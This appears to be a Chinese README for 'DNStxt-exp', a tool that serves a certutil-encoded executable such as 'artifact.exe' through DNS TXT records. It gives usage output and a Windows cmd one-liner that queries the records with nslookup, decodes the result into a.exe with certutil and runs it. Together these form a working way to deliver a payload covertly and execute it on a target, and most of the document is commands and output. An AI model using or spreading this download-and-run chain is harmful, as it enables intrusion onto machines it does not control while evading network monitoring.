一个提供查询 TXT 记录的 DNS 服务利用工具。例如：可配合 Windows 下的 certutil 工具传输小文件（64KB）
_____________ _____________ _____
___ __ \__ | / /_ ___/_ /____ ___ /_ _________ _________
__ / / /_ |/ /_____ \_ __/_ |/_/ __/_______ _ \_ |/_/__ __ \
_ /_/ /_ /| / ____/ // /_ __> < / /_ _/_____/ __/_> < __ /_/ /
/_____/ /_/ |_/ /____/ \__/ /_/|_| \__/ \___//_/|_| _ .___/
/_/
DNStxt-exp Version: 0.0.1 -- Created by vaycore
Options:
-f string
Generate encode.txt file command: ==> certutil.exe -encode artifact.exe encode.txt <==
(default "encode.txt")
-flag string
Add prefix flag to lines (default "exec")
-name string
DNS server name (default "public1.alidns.com")
-p int
DNS server port (default 53)
利用 Windows 自带的 certutil.exe 工具，先在生成一个 encode.txt 文件，命令如下：
certutil.exe -encode <要传输的文件> encode.txt
#例如：
certutil.exe -encode artifact.exe encode.txt将文件放到与 DNStxt-exp 程序同级，然后执行，执行结果如下
$ ls
dnstxt-exp encode.txt
$ ./dnstxt-exp
_____________ _____________ _____
___ __ \__ | / /_ ___/_ /____ ___ /_ _________ _________
__ / / /_ |/ /_____ \_ __/_ |/_/ __/_______ _ \_ |/_/__ __ \
_ /_/ /_ /| / ____/ // /_ __> < / /_ _/_____/ __/_> < __ /_/ /
/_____/ /_/ |_/ /____/ \__/ /_/|_| \__/ \___//_/|_| _ .___/
/_/
DNStxt-exp Version: 0.0.1 -- Created by vaycore
Revert file and run:
cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.baidu.com 0.0.0.0 ^| findstr "exec"') do (set a=%i && echo !a:~5,-2!)" > d.txt && certutil -decode d.txt a.exe && cmd /c a.exe
Start Listing ... 0.0.0.0:53, ServerName: public1.alidns.com
Windows 平台下使用 nslookup 工具查询和还原成文件命令（需要将下面的 0.0.0.0 配置 DNS 服务器的IP地址，a.exe 是目标文件）：
cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.baidu.com 0.0.0.0 ^| findstr "exec"') do (set a=%i && echo !a:~5,-2!)" > d.txt && certutil -decode d.txt a.exe
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